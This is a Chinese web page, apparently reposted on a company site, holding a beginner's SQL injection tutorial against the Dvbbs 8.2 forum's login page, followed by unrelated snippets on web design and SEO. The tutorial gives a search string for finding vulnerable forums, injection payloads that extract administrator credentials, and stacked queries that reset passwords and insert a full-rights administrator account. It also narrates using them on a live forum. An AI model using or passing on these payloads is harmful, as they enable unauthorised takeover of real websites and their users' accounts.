时间:2021-05-23
dvbbs8.2漏洞补下载地址:http://bbs.dvbbs.net/dispbbs.asp?boardid=8&;Id=1519564 紧急安全补丁0530
dvbbs8.2漏洞的产生login.asp 这个文件的97行Function Dvbbs_ChkLogin 开始有以下代码:username=trim(Dvbbs.CheckStr(request("username")))而passport和username是用户输入的。Public Function Checkstr(Str)
If Isnull(Str) Then
CheckStr = ""
Exit Function
End If
Str = Replace(Str,Chr(0),"")
CheckStr = Replace(Str,"'","''")
End Function动网用Checkstr进行处理。当我们输入111',request("username")是111'Dvbbs.CheckStr(request("passport"))以后还是111'
If ajaxPro Then username = unescape(username)username就变成了111'所以,【'】符号并没有过滤掉,漏洞就产生了。
------------------------------------------------
搜索:Powered By Dvbbs Version 8.2.0 有很多用存在这样漏洞的BBS
对于新手,分析过程比较复杂,特别是语句的组合,看了我的这个教程,基本上在一分钟之内就可以搞定.
admin' and '1'='1 用户名或者密码不正确.
admin' and '1'='2 本论坛不存在该用户名.
判断数据库类型:
;and (select count(*) from sysobjects)>0
;and (select count(*) from msysobjects)>0admin' and 1=(select count(*) from dv_admin where left(username,1)='a') and '1'='1admin' and 1=(select count(*) from dv_admin where left(password,1)='a') and '1'='1' and (select @@version)>0--' and (select is_srvrolemember('sysadmin'))>0--
' and (select IS_MEMBER('db_owner'))>0--49ba59abbe56e057=123456
';update dv_user set password='49ba59abbe56e057' where username='sishui'--';update dv_user set usergroupid=1 where username='sishui'--bugtest';insert into dv_user (username,userpassword,usergroupid) values('sishui','49ba59abbe56e057','1')--bugtest';insert into dv_admin (username,password,flag,adduser) values('sishui','49ba59abbe56e057','1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45','sishui')--为了省时间我就直接先找了个论坛测试,大家看操作就好,我们来到登陆页面,这句话的意思就是在这个论坛里加入一个管理拥护, 我拥护名为sishui 密码为123456 密码是加密的, 我们来看看 下面的密码随便输入 ,这个意思就是代表成功了,我们来登陆看看,看见了吧, 呵呵, 我们在来进后台不成功, 为什么呢, 应为刚刚我加入的是论坛管理, 没有提到后台管理,下面我们在来用代码,提到后台管理权限,我们来看代码 意思就是把他的权限全部提升到45 ,我们来试试,好了,我们在登陆看,我们进来了,呵呵,。 好了就这样,教程结束
声明:本页内容来源网络,仅供用户参考;我单位不保证亦不表示资料全面及准确无误,也不保证亦不表示这些资料为最新信息,如因任何原因,本网内容或者用户因倚赖本网内容造成任何损失或损害,我单位将不会负任何法律责任。如涉及版权问题,请提交至online#300.cn邮箱联系删除。
常德网站建设内容和功能决定表达形式和界面设计!经常得到的任务是小笔记,上面两句话叫你设计网站。有些人看了笔记就设计了页面。用两句话,你可以为客户设计页面。我
banner设计注意事项: 1、Banner的文字用一两句话来表达即可。 2、广告语要朗朗上口,突出重点。 3、图形无须太繁杂,文字尽量使用黑
数据库开启慢查询日志修改配置文件在配置文件my.ini中加上下面两句话log-slow-queries=C:\xampp\mysql_slow_query.lo
新手SEO一般会询问网站推广有哪些方法?其实搜索引擎优化的方法非常多,需要着重优化的地方也非常多,一句话两句话不能完全说明。 网站出于不同阶段所使用的
写python文件时,每个文件开头都必须注明版本和编码。每次我touch文件之后粘贴这两句话让我不胜其烦。由于我没有安装python的IDE工具,也没有为vim